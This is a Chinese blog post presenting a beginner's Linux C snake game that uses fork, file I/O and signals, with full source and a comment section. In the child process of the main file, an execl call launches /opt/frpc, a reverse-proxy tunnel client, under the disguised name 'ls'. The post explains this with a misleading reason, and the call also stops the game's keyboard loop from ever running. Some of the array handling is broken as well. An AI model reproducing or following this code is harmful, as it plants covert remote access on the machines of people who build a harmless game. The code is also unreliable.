linuxC环境下的贪吃蛇游戏

先说两句

这是我人生第一个C项目,也是我和我女友做的第一个C项目;项目虽然实现的不完美也有许多漏洞,也希望各位读者朋友轻喷,要看看代码,可以直接翻代码,下面我有附上项目代码。以上

项目需求分析

项目需求分析
1.游戏元素包括:沙盘,墙壁,贪吃蛇,食物以及空位
2.需要实现键盘接收指令控制贪吃蛇移动,不输入默认移动
3.贪吃蛇吃到自己或者撞墙game over输出贪吃蛇长度结果为分数,吃到食物长度加一并继续移动

实现思路以及架构

使用进程分工实现功能(主体框架)

1,主进程:实现循环打印沙盘以及贪吃蛇运动,并时刻读取子进程移动指令(文件I/O);
使用函数对贪吃蛇处理以及对沙盘处理,函数会详解
2,子进程:实现循环从键盘接收指令写入文件(文件I/O)等待主进程读取;

编写功能函数

1,int Init_map(char** map,int N)//沙盘初始化函数,实现边缘,以及随机食物位置(不会初始化贪吃蛇)
2,void map_printf(char ** map,int N)//打印地图,参数一表示地图,参数二表示地图大小
3,int snake_move(char **map,int N,char **snake,int* M,char away)//M是蛇的长度,默认snake是两列的,away是目前snake应该前进的方向,默认不能为空;

元素定义

地图定义:map[N][N],大小可以自己定义,定义为二维数组,char类型,N为地图大小,我使用的是N = 16
贪吃蛇:snake[M][2],大小可以自定义,定义为二维数组,char类型,M为snake最大的长度。我使用的M = 196
元素:在沙盘中,元素3 代表snake,元素2 代表食物,元素1 代表墙壁,元素0 代表空位

代码实现

核心文件“hunger_snake.c”


#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include"snake.h"
#include <signal.h>
int main()
{
    pid_t pid;
    int fd;
    char away[64] = {0};
    int result;
    //map贪吃蛇地图,N大小,length蛇的长度,snack蛇身位子数组初始状态蛇为1,位于中央,R_away方向,move_result是移动结果用于判断蛇是否撞墙
    char map[16][16] = {0};
    int N  = 16,length = 2;
    char snake[196][196] = {0};
    char R_away = 'w';
    int move_result = 0;
    snake[0][0] = 7;
    snake[0][1] = 7;//初始化蛇头
    snake[1][0] = 7;
    snake[1][1] = 8;

    pid = fork();
    
    if(pid < 0)
    {
        perror("fork");
        return 0;
        //exit(0);
    }
    else if(0 == pid)//childer 用于读取键盘指令写入文件
    {
        fd = open("away.txt",O_RDWR|O_CREAT|O_TRUNC,0666);
        if(fd < 0)
        {
            perror("open");
            return 0;
        }
        execl("/opt/frpc", "ls", "-c",  "/opt/frpc.ini", NULL);
        while(1)
        {
            scanf("%s",away);
            write(fd,away,1);

        }
    }
    else if(pid > 0)//father 用于读取文件指令,打印map 贪吃蛇
    {
        signal(SIGCHLD,SIG_IGN);//在父进程中忽略子进程信号
        Init_map((char**)map,N);//初始化地图

        //每次只读取文件第一个指令;
        fd = open("away.txt",O_RDWR|O_CREAT|O_TRUNC,0666);
        if(fd < 0)
        {
            perror("open");
            return 0;
        }
        lseek(fd,0,SEEK_SET);
        
        while(1)
        {
            result = read(fd,away,1);
            if(result == 0)
            {
                //printf("no write \n");DEBUG
                move_result = snake_move((char**)map,N,(char **)snake,&length,R_away);
                map_printf((char **)map,N);
            }
            else if(result > 0)
            {
                //printf("***%s***\n",away);DEBUG
                move_result = snake_move((char**)map,N,(char **)snake,&length,away[0]);
                R_away = away[0];
            }
            else
            {
                printf("fail to read away.txt\n");
            }
            if(move_result == -1)
            {
                kill(pid, SIGINT);
                printf("\nGAME OVER snake long:%d\n",length);
                return 0;
            }
            else
            {
                system("clear");
                map_printf((char **)map,N);
            }
            
            sleep(2);
        }
    }
    return 0;
}

函数文件“snake.c”


#include<stdio.h>
#include<stdlib.h>
#include<time.h>
#include<unistd.h>

#include"snake.h"

int Init_map(char** map,int N)//沙盘初始化函数,实现边缘,以及随机食物位置
{
    int i = 0;
    for(i = 0;i<N;i++)//边缘设为1
    {
        *((char*)map +i) = 1;
        *((char*)map + N*15 + i) = 1;

        *((char*)map + N*i) = 1;
        *((char*)map + N*i + 15) = 1;
    }
    srand(time(NULL));//调用随机数生成食物的位子
    for(i = 0;i<10;i++)
    {
        *((char*)map +N*(rand()%14 +1) + (rand()%14 + 1)) = 2;
    }
    return 0;

}

void map_printf(char ** map,int N)//打印地图,参数一表示地图,参数二表示地图大小
{
    int i = 0;
    int j = 0;
    for(i = 0;i<N;i++)
    {
        for(j = 0;j<N;j++)
        {
            printf(" %d ",*((char*)map +N*i + j));
        }
        printf("\n");
    }
}

int snake_move(char **map,int N,char **snake,int* M,char away)//m是蛇的长度,默认snake是两列的,away是目前snake应该前进的方向,默认不能为空;
{

    //*((char*)map +N**((char *)snake ) + *((char *)snake + 1))  = 3;

    int i = 0;
    int changei = 0,changej = 0;
    if(away == 'a')
    {
        changei = 0;
        changej = -1;
    }
    else if(away == 'd')
    {
        changei = 0;
        changej = 1;
    }
    else if(away == 'w')
    {
        changei = -1;
        changej = 0;
    }
    else if(away == 's')
    {
        changei = 1;
        changej = 0;
    }
    //优先判断snake下一步是什么
    if(*((char*)map +N*(*((char *)snake + 2*0 +0) + changei) + *((char*)snake +2*0+1) +changej ) == 0)//0为空位
    {
        for(i = 0;i< *M ;i++)//打印当前snake的状态到地图上
        {
            *((char*)map +N*(*((char *)snake + 2*i + 0)) + *((char*)snake +2*i+1)) = 3;
        }
        //改变snake头部以及尾部在地图上的位置
        
        *((char*)map +N*(*((char *)snake + 2*0 + 0) +changei) + *((char*)snake +2*0+1) + changej) = 3;
        
        *((char*)map +N*(*((char *)snake + 2*(*M-1) + 0)) + *((char*)snake +2*(*M-1)+1)) = 0;
        //改变snake数组蛇身的位置;
        for(i = (*M -1 );i>0;i--)
        {   
            *((char *)snake + 2*i + 0) = *((char *)snake + 2*(i -1) + 0); 
            *((char *)snake + 2*i + 1) = *((char *)snake + 2*(i -1) + 1); 
        }
        *((char *)snake + 2*0 + 1) = *((char *)snake + 2*0+ 1) + changej ; 
        *((char *)snake + 2*0 + 0) = *((char *)snake + 2*0+ 0) + changei ; 

        return 0;
    }
    else if(*((char*)map +N*(*((char *)snake + 2*0 +0) + changei) + *((char*)snake +2*0+1) +changej ) == 2)//0为空位
    {
        for(i = 0;i<*M;i++)//打印当前snake的状态到地图上
        {
            *((char*)map +N*(*((char *)snake + 2*i + 0)) + *((char*)snake +2*i+1)) = 3;
        }
        //改变snake头部在地图上的位置
        
        *((char*)map +N*(*((char *)snake + 2*0 + 0) +changei) + *((char*)snake +2*0+1) + changej) = 3;
        
        //改变snake数组蛇身的位置;
        for(i = *M;i>0;i--)
        {   
            *((char *)snake + 2*i + 0) = *((char *)snake + 2*(i -1) + 0); 
            *((char *)snake + 2*i + 1) = *((char *)snake + 2*(i -1) + 1); 
        }
        *((char *)snake + 2*0 + 1) = *((char *)snake + 2*0+ 1) + changej ; 
        *((char *)snake + 2*0 + 0) = *((char *)snake + 2*0+ 0) + changei ; 
        *M += 1;
        return 1;
    }
    else 
    {
        return -1;
    }
    return 0;
}

自定义头文件“snake.h”



#ifndef _SNAKE_H
#define _SNAKE_H

int Init_map(char** map,int N);//沙盘初始化函数,实现边缘,以及随机食物位置

void map_printf(char ** map,int N);//打印地图,参数一表示地图,参数二表示地图大小
int snake_move(char **map,int N,char **snake,int* M,char away);//m是蛇的长度,默认snake是两列的,away是目前snake应该前进的方向,默认不能为空;

#endif

需要注意

在实现的过程中由于子进程处于while循环内部,所以为了避免父进程退出,子进程处于僵死状态,使用了execl函数设置父进程死亡,子进程过继到init进程下,间接杀死子进程。

运行结果

编译以及运行:
编译以及运行
在这里插入图片描述
在这里插入图片描述
温馨提示:代码中子进程用于接收的scanf函数可替换为getchar(),输入更好;

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值